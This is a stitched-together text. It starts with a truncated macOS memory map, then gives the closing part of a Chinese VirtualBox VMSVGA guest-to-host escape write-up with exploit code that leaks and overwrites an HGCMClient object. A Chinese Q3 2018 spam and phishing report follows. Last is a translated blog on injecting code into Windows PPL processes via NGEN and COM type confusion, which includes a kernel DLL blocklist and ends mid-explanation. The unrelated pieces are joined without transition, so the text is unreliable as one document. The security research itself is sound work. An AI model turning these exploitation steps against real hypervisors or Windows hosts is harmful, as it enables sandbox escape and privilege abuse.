MALLOC_SMALL           00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff12b400000-00007ff12b500000 [ 1024K   936K   936K     4K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff139000000-00007ff139800000 [ 8192K  8032K  8032K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff139800000-00007ff13b000000 [ 24.0M  23.6M  23.6M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff13b400000-00007ff13b500000 [ 1024K  1016K  1016K     8K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M     0K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16b400000-00007ff16b800000 [ 4096K  2464K  2464K  1632K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16b800000-00007ff16c06d000 [ 8628K  6592K  6592K  1828K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16c06d000-00007ff16c06e000 [    4K     4K     4K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16c06e000-00007ff16d000000 [ 15.6M  14.0M  14.0M  1440K] rw-/rwx SM=COW          DefaultMallocZone_0x106b7d000
MALLOC_SMALL           00007ff16d000000-00007ff16d800000 [ 8192K  5608K  5608K  2312K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16d800000-00007ff16da00000 [ 2048K   864K   864K  1184K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff16da00000-00007ff16dc00000 [ 2048K    24K    24K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff16dc00000-00007ff16de00000 [ 2048K    20K    20K    24K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff16de00000-00007ff16df00000 [ 1024K     8K     8K     8K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff16df00000-00007ff16e000000 [ 1024K   940K   940K    84K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty)   00007ff16e000000-00007ff16e800000 [ 8192K     4K     4K     8K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_SMALL           00007ff16e800000-00007ff16f000000 [ 8192K     8K     8K   240K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_SMALL (empty)   00007ff16f000000-00007ff170000000 [ 16.0M     8K     8K   172K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY (empty)    00007ff170000000-00007ff170100000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170100000-00007ff170200000 [ 1024K   988K   988K    36K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY (empty)    00007ff170200000-00007ff170300000 [ 1024K     8K     8K     4K] rw-/rwx SM=COW          QuartzCore_0x10cc46000
MALLOC_TINY            00007ff170300000-00007ff170400000 [ 1024K     4K     4K    20K] rw-/rwx SM=COW          GFXMallocZone_0x107072000
MALLOC_TINY            00007ff170400000-00007ff170500000 [ 1024K  1024K  1024K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x106b7d000
MALLOC_TINY            00007ff170500000-00007ff170800000 [ 3072K  3072K  3072K     0K] rw-/rwx SM=COW          DefaultMallocZone_0x10

定位并重写HGCMClient对象

一旦堆喷射完成,将会从SVGA3D_MAX_SURFACE_IDS – 1开始,越界读取与表面相关的泄露内存。如果找到任何HGCMClient,就会停止搜索,否则将会继续。

/*泄露内存*/
        for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) {
                access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000);
                rv = find_hgcm_client(memory, 0x1000, &details);
                if (rv == 0) {
                        surface_id = i;
                        break;
                }
        }

在找到客户端对象后,我们通过泄露其“pSelf”指针来了解对象的位置。对象的vtable是一个指向VBoxC.dylib的指针。上述二者都不会受到ASLR机制的影响。随后,我们使用搜索期间找到的表面ID,对其进行越界写入,从而破坏对象。

        access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000);
 
 Finally, use HGCM disconnect to use the corrupted HGCMClient as below:
 
        warnx("[+] Triggering payload...");
        disconnect_client(details.key);

环境

· Guest环境:Ubuntu Server 16.04.5 64位,启用单个vCPU和VMSVGA。

· Host环境:macOS High Sierra 10.13.6。 请注意,macOS Mojave不支持较旧版本的VirtualBox。

· VirtualBox:5.1.22 r115126版本

演示视频

参考文献

[1] VMware托管I/O架构上的GPU虚拟化

https://www.usenix.org/legacy/event/wiov08/tech/full_papers/dowty/dowty.pdf

[2] VMware SVGA设备接口和编程模型

https://sourceforge.net/p/vmware-svga/git/ci/master/tree/doc/svga_interface.txt

[3] CLOUDBURST – Vmware Guest到Host逃逸的故事

https://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf

[4] 通过硬件仿真攻击虚拟机管理程序

https://www.troopers.de/downloads/troopers17/TR17_Attacking_hypervisor_through_hardwear_emulation.pdf

[5] VBoxManage

https://www.virtualbox.org/manual/ch08.html

[6] Oracle重要补丁更新公告 – 2015年1月

https://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html

[7] Oracle重要补丁更新公告 – 2017年7月

https://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html

[8] Oracle重要补丁更新公告 – 2017年10月

https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

[9] Heapple Pie – macOS/iOS中的默认堆

https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf

[10] OS X堆漏洞利用

https://github.com/blankwall/MacHeap

[11] 思考在VirtualBox之外

https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf

一、本季度重点关注

1.1 垃圾邮件中的个人数据

我们知道,我们应该保护个人数据的安全,避免在可疑的网站上提交这些信息,从而防止欺诈者对其进行恶意利用。这些数据的泄露,可被攻击者利用来尝试登录账户,实施针对性攻击,或者进行勒索软件活动。

在Q3,我们从垃圾邮件通信中截获了大量欺诈性电子邮件。在今年年初,我们已经披露过这类骗局,恶意人士会向用户勒索赎金,其声称如果不支付赎金,就会公开用户的某些“破坏性证据”。在新一轮的钓鱼及垃圾邮件中,包含用户的实际个人数据,包括姓名、密码、电话号码等,诈骗者采取这种方式,尝试让用户相信他们确实掌握了一些特定的隐私信息。垃圾邮件活动分几个阶段进行,诈骗者很可能利用了一系列个人信息数据库。之所以做出这个推断,是因为我们发现,在不同阶段中,所使用的电话号码的数字格式是不同的。

1.png

此前攻击者主要针对的目标是使用英语的用户,但在9月,我们发现了其他语言的一系列邮件,包括德语、意大利语、阿拉伯语和日语。

2.png

欺诈者勒索的金额从几百美元到几千美元不等。为了收取付款,他们注册了多个比特币钱包,并在不同的恶意活动中使用不同的钱包。在7月,发生了17笔比特币交易,总价值超过3比特币(根据当时汇率为18000美元)。

3.png

同样,在Q3,我们监测到针对企业用户的恶意垃圾邮件活动,其主要目标是密码,范围包括浏览器、即时消息、电子邮件、FTP客户端、加密货币钱包等。网络犯罪分子仿造一封商业信函,或者是来自知名公司的通知邮件,将Loki Bot恶意软件隐藏在邮件附件的ISO文件中,尝试使用恶意软件感染受害计算机。

4.png

1.2 针对银行的恶意垃圾邮件攻击

在第二季度,我们发现Necurs僵尸网络的控制者发送带有IQY(Microsoft Excel Web Query)附件的恶意电子邮件。而在这一季度,他们将注意力转向了银行业,并且和以前一样,使用了不常见的恶意邮件文件格式,这一次使用的是PUB(Microsoft Publisher)。这些邮件被发送到不同国家信贷机构的电子邮箱中,PUB文件附件中包含将可执行文件(检测为Backdoor.Win32.RA-based)下载到受害计算机的特洛伊木马程序。

5.png

1.3 新iPhone发布

在Q3末,Apple发布了新一代产品。然而,在此期间,针对一些为Apple提供配件和替换件的小公司的欺诈邮件数量激增。这些欺诈邮件通常包含链接,指向近期刚刚创建的在线商店,这些网站可能仅仅上线一天后就消失。假如用户相信了此类网站,并进行付款或交易,那么其资金就会损失,当然也不会收到货物。

同样,在此期间,一些伪装成Apple、Apple服务的网络钓鱼邮件,以及包含恶意附件的邮件数量略有增加。

6.png

1.4 经典制药垃圾邮件以新形式出现

垃圾邮件发送者一直在寻找方法来绕过邮件过滤器,从而增加恶意邮件的“可传递性”。为此,他们尝试伪造知名公司和常见服务的通知邮件(包括内容和技术方面)。举例来说,他们复制银行和其他通知邮件的布局,并且在用户一定能看到的字段中添加真正的标题。

这种典型的网络钓鱼和恶意广告活动技术在经典的垃圾邮件中被更频繁的使用,例如在提供违禁药物的邮件中,在上个季度,我们监测到伪装成流行社交网络(包括LinkedIn)的通知信息的垃圾邮件,这些消息包含一个虚假的链接,但这个链接并不是要求填写个人信息的网络钓鱼表格,而是直接指向了一家药店的网站。

7.png

采用这种新方法的原因在于,反垃圾邮件解决方案目前已经能够检测到传统形式的垃圾邮件,因此垃圾邮件的发送者开始使用伪装。我们预计,这一趋势在之后将有所增强。

1.5 高校类垃圾邮件

自从今年开学以来,诈骗者对高校网站帐户的兴趣有所增加。根据我们的监测,全球16个国家的131个大学遭到了攻击。网络犯罪分子希望借此来获得个人数据和学术研究成果。

8.png

1.6 求职类垃圾邮件

为了获取个人数据,攻击者抓住了寻找工作的这一环节,他们伪造一些知名公司的招聘页面,并声称提供有诱惑力的职业和薪水,以此吸引受害者填写申请表格。

9.png

1.7 传播方法

本季度,我们再次关注网络犯罪分子如何分发网络钓鱼和其他非法内容。在这里,我们希望揭示有哪些方法越来越受攻击者的青睐,并提醒用户注意。

一些浏览器支持网站向用户发送通知(例如Chrome中的Push API),网络犯罪分子已经注意到了这种技术。他们在与各种合作伙伴进行网络协作的网站上部署,借助弹出的通知,用户会被诱导到“合作伙伴”站点,并且网站上将提示输入一些个人的信息,这些信息最终会被犯罪分子收集。

默认情况下,Chrome会请求为每个站点启用通知的权限。为了促使用户点击允许,攻击者会声称,如果不点击“允许”按钮,将无法再继续加载页面。

10.png

在授予网站显示通知的权限后,许多用户常常会忘记这件事,所以当屏幕上弹出消息时,他们并不清楚这一弹出框的实际来源。

11.png

这里的危险之处在于,当用户访问受信任资源时,是可以显示通知的。这样一来,受害者可能会对消息的来源产生误解,一切都表明弹出的消息来自当前打开的可信站点。举例来说,用户可能会看到关于资金转移、赠品或更优报价的通知,它们通常都指向网络钓鱼网站、在线赌场、虚假赠品网站或付费订阅网站:

12.png

在点击通知后,会进入到一个在线礼品卡生成器,我们在本季度的早些时候介绍过。这种生成器为用户生成流行网络商店的免费礼品卡。但问题在于,为了获得生成的代码,访问者需要进行一定的操作,来证明他们不是机器人自动完成的。而在这里需要进行的操作并不是接收验证码,而是需要转向一系列合作伙伴的网站,参与赠品活动、填写表格、下载资料、注册付费短信邮件等。

1.8 媒体类垃圾邮件

使用媒体资源,是分发欺诈性内容的一种罕见方式,但非常有效。我们以非常受欢迎的WEX加密货币交易所的案例来说明,该交易所在2017年之前使用的是BTC-E的名称。2018年8月,攻击者伪造了虚假的俄罗斯媒体新闻,声称由于内部问题,交易所将其域名更改为wex.ac。

13.png

然而,wex.nz的管理人员很快发布了推文(其推文也会发布在交易所的主页上),表明wex.ac仅仅是一个仿冒网站,同时提醒用户务必注意资金安全,不要将资金转移到仿冒网站上。

14.png

但是,这并没有阻止诈骗者的活动,他们发布了更多有关交易所迁移到新域名的消息,这次是声称将其迁移到了.sc域上。

15.png

1.9 Instagram

在诈骗者用于分发内容的社交媒体平台中,Instagram需要重点关注。在最近,网络犯罪分子开始使用这一平台。在2018年Q3,我们发现这一社交平台中出现许多虚假的美国国税局用户帐户,以及许多声称是巴西知名银行官方账户的虚假账户。

16.png

诈骗者不仅创建了假帐户,并且还尝试攻陷真实的热门账户。今年8月,一波黑客攻击席卷了整个社交网络,网络犯罪分子伪造了一个“帐户验证”的页面,并通过网络钓鱼攻击诱导用户访问,该钓鱼页面声称可以为用户添加一个稀有的“蓝色对勾”身份徽章。

17.png

当诈骗者提供“验证”账户页面时,出现了社交网络原本并不存在的功能:原本只能由平台管理方授予的徽章,现在可以由用户自行在“帐户设置”里面申请。

二、统计:垃圾邮件

2.1 电子邮件通信中垃圾邮件占比

18.png

在2018年Q3,全球邮件中垃圾邮件所占比例的最高值出现在8月份(53.54%)。全球邮件通信中垃圾邮件的平均占比为52.54%,与上一季度相比增长了2.88。

2.2 国家分布

19.png

Q3垃圾邮件的三个主要来源国家与第二季度相同,中国位居第一(13.47%),其次是美国(10.89%)和德国(10.37%)。第四名是巴西(6.33%),第五名是越南(4.41%),阿根廷(2.64%)进入到前十之中。

2.3 邮件大小分布

20.png

在2018年Q3,小于2KB的垃圾邮件占比下降了5.81,为73.36%。与第二季度相比,5-10KB的邮件百分比略有增加(增长0.76),达到6.32%。与此同时,10-20KB的邮件占比下降了1.21,目前为2.47%。20-50KB垃圾邮件的占比基本上保持不变,仅下降了0.49,目前为3.17%。

2.4 邮件附件中恶意软件分布

21.png

根据2018年Q3的监测结果,邮件附件中最常见的恶意软件仍然是Exploit.Win32.CVE-2017-11882,相比上一季度增长了0.76,上升到11.11%。Backdoor.Win32.Androm的比例有所提升,上升到排名第二(7.85%),而Trojan-PSW.Win32.Farei则下降到第三位(5.77%)。第四名和第五名分别是Worm.Win32.WBVB和Backdoor.Java.QRat。

2.5目标国家(地区)分布

22.png

自今年年初以来,触发邮件反病毒的事件数量排名前三的国家没有变化:德国排名第一(9.83%),俄罗斯排名第二(6.61%),英国排名第三(6.41%)。紧接着是意大利(5.76%)和越南(5.53%)。

三、统计:网络钓鱼

3.1 地理位置分布

在2018年Q3,反网络钓鱼系统共阻止137382124次将用户诱导到诈骗网站的尝试,全球Kaspersky用户中有12.1%受到攻击。

在2018年Q3,遭受网络钓鱼攻击的用户比例最高的国家是危地马拉,占比18.97%,与上季度相比增长8.56%。

23.png

第二季度排名第一的巴西这次降至第二名,该国有18.62%的用户在Q3期间受到攻击,与Q2相比上涨3.11。排名第三至第五的分别是西班牙(17.51%)、委内瑞拉(16.75%)和葡萄牙(16.01%)。

24.png

3.2 组织分布

用户计算机上的反网络钓鱼组件触发器能够对攻击者所攻击的组织类别进行分级。没此用户尝试点击电子邮件或社交媒体中的链接时,或用户打开网络钓鱼页面时,它都将被激活。触发组件时,浏览器中会显示一个横幅,警告用户存在潜在的威胁。

与上一季度相同,全球互联网门户网站排名持续走高,其份额增加7.27个百分点,上升至32.27%。

25.png

在这一季度,与财务相关的组织所遭受的攻击,共占全部攻击事件的34.67(下降1.03个百分点),高于全球互联网门户的占比。其中,银行占比18.26%,支付系统占9.85%,网上商店占比6.56%,IT企业占比6.91%。

四、结论

在2018年Q3,全球邮件流量中垃圾邮件的平均占比上升了2.88个百分点,反钓鱼系统阻止到钓鱼网站的重定向超过1.37亿次,比上一季度增加了3000万。

垃圾邮件发送者和网络钓鱼者继续利用热点事件。例如,本季度中新iPhone的发布就引起了很多人的关注。此外,攻击者也在不断探寻分发欺诈内容的渠道,本季度中Instagram活动有所增加,并且我们发现攻击者开始利用来自网站的虚假通知,以及通过媒体资源来传播虚假新闻。

此外,需要关注的是,勒索软件垃圾邮件的覆盖范围不断扩大,并且开始使用受害者的真实个人数据进行勒索。

概述

在Recon Montreal 2018上,我与Alex Ionescu共同发表了“已知DLL和其他代码完整性信任绕过的新方法”的演讲。我们描述了Microsoft Windows中的代码完整性机制,以及Microsoft是如何实现进程保护(Protected Processes,PP)的。在演讲中,我展示了如何绕过Protected Process Light(PPL)保护机制,有些绕过方法需要具有管理员权限,有些则不需要。

在这篇博客中,将主要探讨在Windows 10 1803上,如何向PPL进行代码注入。由于Microsoft表示存在于防御安全边界的唯一漏洞已经被修复,因此我可以更详细的讲解一下利用方法。

漏洞描述点击这里

Microsoft关于这一漏洞的公告

关于Windows受保护进程

Windows受保护进程(Windows Protected Process)模型可以追溯到Windows Vista,它是为了保护DRM进程而引入的。受保护进程模型受到严格限制,将其需要加载的DLL限制为随操作系统安装的代码集。此外,只有使用特定Microsoft证书进行签名,并将其嵌入到二进制文件中的可执行文件,才有权限启动保护。其中,有一项由内核强制执行的保护,使未受保护的进程无法打开受保护进程的句柄,因此没有足够权限来注入任意代码或读取内存。

在Windows 8.1中,引入了一种新的机制,称为Protected Process Light(PPL),该机制使保护变得更加通用。PPL放宽了可以受到保护的DLL范围,并为主要可执行文件引入了不同的签名要求。另外,还有一个重大变化,就是它加入了“签名级别”的概念,以此来区分不同类型的受保护进程。某个级别的PPL,对同级别或更低级别的任何进程拥有完全访问的权限,对更高级别的权限只有受限的访问权限。这一签名级别的概念,也同样扩展到旧的PP模式上,同一级的PP可以打开相同级别或更低级别的所有PP和PPL,但反过来就不行,PPL在任何级别的情况下都无法拥有对PP的完全访问权限。下图表示了其中的一些级别和相互关系:

1.png

由于引入了签名级别的概念,于是Microsoft向第三方开放了受保护进程。然而目前,第三方唯一可以创建的受保护进程是反恶意软件PPL。反恶意软件所具有的级别是特殊的,因为它允许第三方通过Early Launch Anti-Malware(ELAM,https://msdn.microsoft.com/en-us/library/windows/desktop/dn313124%28v=vs.85%29.aspx)来添加其他允许的签名密钥。此外,还有Microsoft的TruePlay,这是一个用于游戏的反作弊技术,但与本次分析无关,我们在此不做讨论。

在这里,我强烈推荐大家阅读Alex Ionescu的博客文章(分为三部分):第一部分第二部分第三部分

尽管文章是主要基于Windows 8.1进行讲解的,但其中的大多数概念在Windows 10中未发生重大变化。

我之前也写过一篇关于受保护进程的文章,主要讲解了Oracle如何在Windows环境下的VirtualBox虚拟化平台中实现。在文章中,我展示了如何使用多种不同的技术绕过进程保护。但是,我在当时的文章中没有提到过的是,我描述的第一种技术,将Jscript代码注入到进程中,也违背了Microsoft的PPL实现。我向Microsoft反映了这一问题,证明我可以向PPL中注入任意代码,但Microsoft决定不将其修复方式作为一个安全补丁发布。随后,Microsoft将下面的代码添加到内核代码完整性库CI.DLL中,从而修复了这一问题:

UNICODE_STRING g_BlockedDllsForPPL[] = {
 DECLARE_USTR("scrobj.dll"),
 DECLARE_USTR("scrrun.dll"),
 DECLARE_USTR("jscript.dll"),
 DECLARE_USTR("jscript9.dll"),
 DECLARE_USTR("vbscript.dll")
};
 
NTSTATUS CipMitigatePPLBypassThroughInterpreters(PEPROCESS Process,
                                                LPBYTE Image,
                                                SIZE_T ImageSize) {
 if (!PsIsProtectedProcess(Process))
   return STATUS_SUCCESS;
 
 UNICODE_STRING OriginalImageName;
 // Get the original filename from the image resources.
 SIPolicyGetOriginalFilenameAndVersionFromImageBase(
     Image, ImageSize, &OriginalImageName);
 for(int i = 0; i < _countof(g_BlockedDllsForPPL); ++i) {
   if (RtlEqualUnicodeString(g_BlockedDllsForPPL[i],
                             &OriginalImageName, TRUE)) {
     return STATUS_DYNAMIC_CODE_BLOCKED;
   }
 }
 return STATUS_SUCCESS;
}

这段修复代码会根据黑名单中的5个DLL,检查正在加载的映像资源段的原始文件名。黑名单包括例如JSCRIPT.DLL这类实现原始Jscript脚本引擎的DLL,以及例如SCROBJ.DLL这类实现scriptlet对象的DLL。如果内核检测到PP或者PPL正在加载其中一个DLL,会立即使用STATUS_DYNAMIC_CODE_BLOCKED拒绝映像加载。这样一来,我的漏洞利用方法就失效了。如果我们尝试修改其中一个DLL的资源段,那么该映像的签名随即无效,映像加载前进行的加密哈希值校验也将失败,因此无法加载映像。实际上,这种修复方式与Oracle修复VirtualBox中漏洞的方法相同,唯一的区别可能就在于这一次是在用户模式下实现的。

寻找新目标

在漏洞修复前,我们使用脚本代码进行注入,实际上是一种通用的技术,适用于加载COM对象的任何PPL。随着这一漏洞被修复,我决定再回顾一下有哪些可执行文件可以作为PPL加载,并分析其是否具有可以利用获取任意代码的明显漏洞。我选择了看起来似乎更容易找到问题的PPL开始研究。如果我们能够获得管理员权限,其实就有很多方法可以注入到PPL中,最简单的是通过加载内核驱动程序。但是,这种条件并不实际,因此我将目标限定为必须要从普通用户账户实现漏洞利用。此外,我们必须还要考虑签名级别的问题,普通用户能够获得的最高签名级别应该是Windows TCB级别,因此,这也将作为我们的另外一个限定条件。

第一步,需要识别作为受保护进程运行的可执行文件,这样我们就能具有最大的攻击面,从而发现漏洞。根据Alex的博客文章,为了作为PP或PPL加载,签名证书需要一个特殊的对象标识符(OID),该标识符位于证书的增强密钥用法(Enhanced Key Usage,EKU)扩展中。PP和PPL都各自有单独的OID。如下图所示,我们可以发现WERFAULTSECURE.EXE(可以作为PP或PPL运行)与CSRSS.EXE(只能作为PP运行)之间的区别。

2.png

我决定深入看看这些带有EKU OID嵌入式签名的可执行文件,并且我认为可以通过它来获得所有可执行文件的列表,从而查找到可以进行漏洞利用的行为。我为我的NtObjectManager PowerShell模块编写了Get-EmbeddedAuthenticodeSignature命令行脚本,用于提取此信息。

在这时,我意识到依赖证书签名的方法存在问题。有很多二进制文件都是允许作为PP或PPL运行的,但它们并没有在列表中出现。由于PP最初是为DRM涉及的,因此它并没有可执行文件来处理受保护的媒体路径,例如AUDIODG.EXE。另外,根据我之前对Device Guard和Windows 10S的研究,我了解.NET框架中必须有一个可执行文件,可以作为PPL运行,用于为NGEN生成的二进制文件添加缓存的签名级别信息(NGEN用于将.NET程序及转换为Native代码)。我决定执行动态分析,而不是静态分析,我们只需要启动每一个受保护的可执行文件,并查询其具有的保护级别。我编写了一个脚本,来测试单个可执行文件:

Import-Module NtObjectManager
 
function Test-ProtectedProcess {
   [CmdletBinding()]
   param(
       [Parameter(Mandatory, ValueFromPipelineByPropertyName)]
       [string]$FullName,
       [NtApiDotNet.PsProtectedType]$ProtectedType = 0,
       [NtApiDotNet.PsProtectedSigner]$ProtectedSigner = 0
       )
   BEGIN {
       $config = New-NtProcessConfig abc -ProcessFlags ProtectedProcess `
           -ThreadFlags Suspended -TerminateOnDispose `
           -ProtectedType $ProtectedType `
           -ProtectedSigner $ProtectedSigner
   }
 
   PROCESS {
       $path = Get-NtFilePath $FullName
       Write-Host $path
       try {
           Use-NtObject($p = New-NtProcess $path -Config $config) {
               $prot = $p.Process.Protection
               $props = @{
                   Path=$path;
                   Type=$prot.Type;
                   Signer=$prot.Signer;
                   Level=$prot.Level.ToString("X");
               }
               $obj = New-Object –TypeName PSObject –Prop $props
               Write-Output $obj
           }
       } catch {
       }
   }
}

在该脚本中,定义了一个函数Test-ProtectedProcess。该函数将获取可执行文件的路径,以特定的保护级别启动该可执行文件,并检查是否成功启动。如果ProtectedType和ProtectedSigner参数设置为0,那么内核会决定一个“最佳”的进程级别。这会导致出现一些问题。例如,SVCHOST.EXE将会被明确标记为PPL,并且是在PPL-Windows级别运行,但实际上,它也是一个经过签名的操作系统组件,其最高的级别应该是PP-Authenticode。另外一个有趣的问题是,使用本地进程创建API,可以将DLL作为主要可执行映像启动。在大量的系统DLL中,实际上都嵌入了Microsoft的签名,所以它们就都可以作为PP-Authenticode启动,即使这样的权限毫无作用。下面是作为PPL运行的二进制文件列表,以及它们的最大签名级别:

C:\windows\Microsoft.Net\Framework\v4.0.30319\mscorsvw.exe(CodeGen)
C:\windows\Microsoft.Net\Framework64\v4.0.30319\mscorsvw.exe(CodeGen)
C:\windows\system32\SecurityHealthService.exe(Windows)
C:\windows\system32\svchost.exe(Windows)
C:\windows\system32\xbgmsvc.exe(Windows)
C:\windows\system32\csrss.exe(Windows TCB)
C:\windows\system32\services.exe(Windows TCB)
C:\windows\system32\smss.exe(Windows TCB)
C:\windows\system32\werfaultsecure.exe(Windows TCB)
C:\windows\system32\wininit.exe(Windows TCB)

将任意代码注入NGEN

经过仔细查看作为PPL运行的可执行文件列表,我确定了要进行漏洞利用的目标,就是前面提到的.NET NGEN二进制文件MSCORSVW.EXE。之所以选择NGEN二进制文件,原因在于:

1、大多数其他二进制文件都是服务类,可能需要管理员权限才能正确启动;

2、二进制文件可能会加载复杂的功能(例如.NET框架)或者具有多个COM交互;

3、在一些特定情况下,它可能仍会产生Device Guard绕过问题,因为它作为PPL运行,被授予了缓存的签名级别,同时具有访问内核API的权限。即使我们无法在PPL中实现代码执行,这个二进制文件操作中的任何一个漏洞也可能会被利用。

但是,NGEN二进制文件也存在着它的问题。特别是,它不符合我自己制定的限制条件,也就是所能获得最高的级别是Windows TCB。但是,我听说Microsoft在修复之前漏洞的过程中,留下了一个后门,针对PPL作为调用进程的情况,在签名进程中保留了一个可写的句柄,如下所示:

NTSTATUS CiSetFileCache(HANDLE Handle, ...) {
 
 PFILE_OBJECT FileObject;
 ObReferenceObjectByHandle(Handle, &FileObject);
 
 if (FileObject->SharedWrite ||
    (FileObject->WriteAccess &&
     PsGetProcessProtection().Type != PROTECTED_LIGHT)) {
   return STATUS_SHARING_VIOLATION;
 }
 
 // Continue setting file cache.
}

如果我可以在NGEN二进制文件中获得代码执行,那么就可以重用这一后门,来缓存加载到任意PPL的任意文件。随后,我就可以劫持一个完整的PPL Windows TCB进程,从而实现我们的目标。

首先需要做的事,是确定如何使用MSCORSVW可执行文件。Microsoft没有在任何地方给出关于MSCORSVW的文档或说明,因此还需要我们自行研究。首先,这个二进制文件不应直接运行,而是应该在创建NGEN的二进制文件过程中由NGEN调用。因此,我们可以运行NGEN二进制文件,并使用Process Monitor等工具来捕获MSCORSVW进程使用的命令行。执行命令:

C:\> NGEN install c:\some\binary.dll

在命令行中,以下内容将被执行:

MSCORSVW -StartupEvent A -InterruptEvent B -NGENProcess C -Pipe D

其中,A、B、C和D都是NGEN确保在启动之前能继承到新进程的句柄。由于我们没有看到任何原始的NGEN命令行参数,所以推测它们可能是通过IPC机制传递。“Pipe”参数用于指示命名管道,以供IPC使用。通过深入研究MSCORSVW的代码,我们找到了NGenWorkerEmbedding方法,如下所示:

void NGenWorkerEmbedding(HANDLE hPipe) {
 CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
 CorSvcBindToWorkerClassFactory factory;
 
 // Marshal class factory.
 IStream* pStm;
 CreateStreamOnHGlobal(nullptr, TRUE, &pStm);
 CoMarshalInterface(pStm, &IID_IClassFactory, &factory,
                    MSHCTX_LOCAL, nullptr, MSHLFLAGS_NORMAL);
 
 // Read marshaled object and write to pipe.
 DWORD length;
 char* buffer = ReadEntireIStream(pStm, &length);
 WriteFile(hPipe, &length, sizeof(length));
 WriteFile(hPipe, buffer, length);
 CloseHandle(hPipe);
 
 // Set event to synchronize with parent.
 SetEvent(hStartupEvent);
 
 // Pump message loop to handle COM calls.
 MessageLoop();
 
 // ...
}

这段代码,其实不是我想要的。因为这部分代码并不是将命名管道用于整个通信通道,而是仅用于将封装的COM对象传回给调用进程。COM对象是一个类工厂实例(Class Factory Instance),通常会使用CoRegisterClassObject注册工厂,但是这会使得所有相同安全级别的进程都有权限访问它。因此,通过使用了封装,可以实现其私密性。由于我之前写过一篇文章,描述如何在.NET中实现COM对象,因此在这里,我对于使用COM的.NET相关进程非常感兴趣。接下来,我希望能确认这个COM对象是不是在.NET中实现的,可以通过查询其接口来确定。例如,我们在OleViewDotNet PowerShell模块中使用Get-ComInterface命令,结果如下所示。

3.png

我们的运气不太好,这个对象并没有在.NET中实现。在这里,只有一个接口ICorSvcBindToWorker,我们接下来深入了解该接口,看看是否有任何可以利用的地方。

突然,有一些东西引起了我的注意。在屏幕截图中,有一个HasTypeLib列,我们看到对于ICorSvcBindToWorker这列设置为True。HasTypeLib表明,这里接口代理代码的实现,并不是使用预定义的NDR字节流,而是从类型库中动态生成的。我之前滥用过这种自动生成代理的机制,并成功实现了到SYSTEM的全线提升,并将其报告为编号1112的问题。在这个问题中,我使用了系统运行对象表(ROT)中一些有趣的行为,来强制系统COM服务中产生类型混淆。尽管现在,Microsoft已经解决了到SYSTEM的权限提升漏洞,但并不能阻止我们使用类型混淆技巧,对作为PPL运行的相同权限级别的MSCORSVW进程进行漏洞利用,并获得任意代码执行。使用类型库的另一个优点是:普通代理只会作为DLL加载,这意味着它必须满足PPL签名级别要求。但类型库只是数据,它可以加载到PPL中,不会产生任何签名级别的错误。

那么,在这里怎么实现类型混淆呢?我们查看类型库中的ICorSvcBindToWorker接口:

interface ICorSvcBindToWorker : IUnknown {
   HRESULT BindToRuntimeWorker(
             [in] BSTR pRuntimeVersion,
             [in] unsigned long ParentProcessID,
             [in] BSTR pInterruptEventName,
             [in] ICorSvcLogger* pCorSvcLogger,
             [out] ICorSvcWorker** pCorSvcWorker);
};

单个BindToRuntimeWorker需要5个参数,4个负责入站,1个负责出站。当我们从不受信任的进程通过DCOM访问该方法时,系统会自动为其生成代理和存根(Stub)。该过程包括:将COM接口封装到缓冲区、将缓冲区内容发送到远程进程、在调用实际函数前对指针进行解封装。例如,我们可以想象一个更简单的函数,名称为DoSomething,它接受一个IUnknown指针。其封装过程如下所示:

4.png

方法调用的具体操作如下:

1、不受信任的进程在接口调用DoSomething,该接口实际上是指向DoSomethingProxy的指针,该指针是从传递IUnknown指针参数的类型库自动生成的。
2、DoSomethingProxy将IUnknown指针参数封装到缓冲区中,并通过RPC调用受保护进程中的Stub。
3、COM运行时调用DoSomethingStub方法来处理调用。该方法将从缓冲区解封装接口指针。需要注意的是,这里所说的指针并非第一步中的原始指针,它可能是一个回调到不受信任进程的新代理。
